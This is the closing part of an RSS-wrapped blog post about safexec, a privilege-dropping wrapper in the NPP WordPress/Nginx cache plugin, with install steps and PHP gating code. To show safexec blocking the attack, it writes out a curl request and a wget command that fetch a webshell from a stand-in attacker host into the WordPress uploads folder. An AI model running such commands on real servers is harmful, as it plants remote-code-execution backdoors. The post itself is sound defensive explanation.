&lt;span class="c"&gt;# Result: persistent webshell (RCE)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;What safexec doing?&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Same attacker request&lt;/span&gt;
curl &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Referer: http://attacker.com/shell.php"&lt;/span&gt; https://npp.com/preload-endpoint

&lt;span class="c"&gt;# Now wrapped with safexec&lt;/span&gt;
safexec wget http://attacker.com/shell.php &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-O&lt;/span&gt; /var/www/html/wp-content/uploads/shell.php

Info: pinned tool &lt;span class="s1"&gt;'wget'&lt;/span&gt; -&amp;gt; &lt;span class="s1"&gt;'/usr/bin/wget'&lt;/span&gt;
Info: using cgroup v2 child /sys/fs/cgroup/nppp/nppp.1397159
Info: Injected: &lt;span class="nv"&gt;LD_PRELOAD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/lib/npp/libnpp_norm.so &lt;span class="nv"&gt;PCTNORM_CASE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;upper &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;prog&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;wget&lt;span class="o"&gt;)&lt;/span&gt;
Summary: &lt;span class="nv"&gt;user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;65534:65534 &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;ruid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;65534 &lt;span class="nv"&gt;rgid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;65534&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;cwd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/var/www/ &lt;span class="nv"&gt;tool&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/bin/wget
Summary: &lt;span class="nv"&gt;no_new_privs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;on
Summary: &lt;span class="nv"&gt;cgroup&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/sys/fs/cgroup/nppp/nppp.1397159

/var/www/html/wp-content/uploads/shell.php: Permission denied

&lt;span class="c"&gt;# safexec drops privileges to "nobody"&lt;/span&gt;
&lt;span class="c"&gt;# → cannot write to uploads/&lt;/span&gt;
&lt;span class="c"&gt;# → webshell never lands&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;strong&gt;How to install safexec?&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# (one-liner)&lt;/span&gt;
curl &lt;span class="nt"&gt;-fsSL&lt;/span&gt; https://psaux-it.github.io/install-safexec.sh | &lt;span class="nb"&gt;sudo &lt;/span&gt;sh

&lt;span class="c"&gt;# Or via package (Debian/Ubuntu amd64)&lt;/span&gt;
wget https://github.com/psaux-it/nginx-fastcgi-cache-purge-and-preload/releases/download/v2.1.5/safexec_1.9.5-1_amd64.deb
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install&lt;/span&gt; ./safexec_1.9.5-1_amd64.deb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Packages are available for Debian/Ubuntu (&lt;code&gt;.deb&lt;/code&gt;), RHEL/Fedora/Rocky (&lt;code&gt;.rpm&lt;/code&gt;), and Alpine (&lt;code&gt;.apk&lt;/code&gt;) — grab them from the &lt;a href="https://github.com/psaux-it/nginx-fastcgi-cache-purge-and-preload/releases" rel="noopener noreferrer"&gt;Releases page&lt;/a&gt; with SHA256 checksums included.&lt;/p&gt;

&lt;p&gt;safexec is optional — NPP falls back to running as the PHP-FPM user if not installed — but strongly recommended for all production environments.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Bootstrap Architecture: Zero Cost on 99% of Requests
&lt;/h2&gt;

&lt;p&gt;PHP bloat as an attack surface — including &lt;code&gt;shell_exec&lt;/code&gt;/&lt;code&gt;proc_open&lt;/code&gt; handlers and &lt;code&gt;WP_Filesystem&lt;/code&gt; recursive operations — would be a performance and security liability. NPP must stay completely dormant on unauthenticated requests.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Entry point gate (simplified from the actual source)&lt;/span&gt;
&lt;span class="nf"&gt;add_action&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'init'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nf"&gt;is_admin&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;            &lt;span class="c1"&gt;// not an admin page → dormant&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nf"&gt;is_user_logged_in&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;   &lt;span class="c1"&gt;// not logged in → dormant&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;current_user_can&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'manage_options'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;nppp_load_bootstrap&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;          &lt;span class="c1"&gt;// full UI access&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="c1"&gt;// Non-admin with custom purge capability:&lt;/span&gt;
    &lt;span class="c1"&gt;// load bootstrap only when auto-purge is active&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;current_user_can&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'nppp_purge_cache'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;nppp_load_bootstrap&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;          &lt;span class="c1"&gt;// auto-purge hook only, no settings UI&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;REST API endpoints and WP-Cron events follow the same principle: &lt;strong&gt;narrow execution gates&lt;/strong&gt;, &lt;strong&gt;minimal footprint&lt;/strong&gt;, &lt;strong&gt;fully isolated processes&lt;/strong&gt;. The result is a plugin that’s nearly invisible.&lt;/p&gt;




&lt;h2&gt;
  
  
  Resources
&lt;/h2&gt;

&lt;p&gt;📦 &lt;strong&gt;WordPress.org:&lt;/strong&gt; &lt;a href="https://wordpress.org/plugins/fastcgi-cache-purge-and-preload-nginx/" rel="noopener noreferrer"&gt;https://wordpress.org/plugins/fastcgi-cache-purge-and-preload-nginx/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🐙 &lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/psaux-it/nginx-fastcgi-cache-purge-and-preload" rel="noopener noreferrer"&gt;https://github.com/psaux-it/nginx-fastcgi-cache-purge-and-preload&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🛡️ &lt;strong&gt;safexec:&lt;/strong&gt; &lt;a href="https://github.com/psaux-it/nginx-fastcgi-cache-purge-and-preload/tree/main/safexec" rel="noopener noreferrer"&gt;https://github.com/psaux-it/nginx-fastcgi-cache-purge-and-preload/tree/main/safexec&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🐳 &lt;strong&gt;Docker:&lt;/strong&gt; &lt;a href="https://github.com/psaux-it/wordpress-nginx-cache-docker" rel="noopener noreferrer"&gt;https://github.com/psaux-it/wordpress-nginx-cache-docker&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;The journey doesn’t stop here — I’m happy to dive into setup quirks, hidden corners of NPP that made this project both tricky and fun. There’s a lot under the hood, and for anyone curious, I’m eager to walk through the details.&lt;/p&gt;

</description>
      <category>nginx</category>
      <category>wordpress</category>
      <category>devops</category>
      <category>opensource</category>
    </item>
  </channel>
</rss>
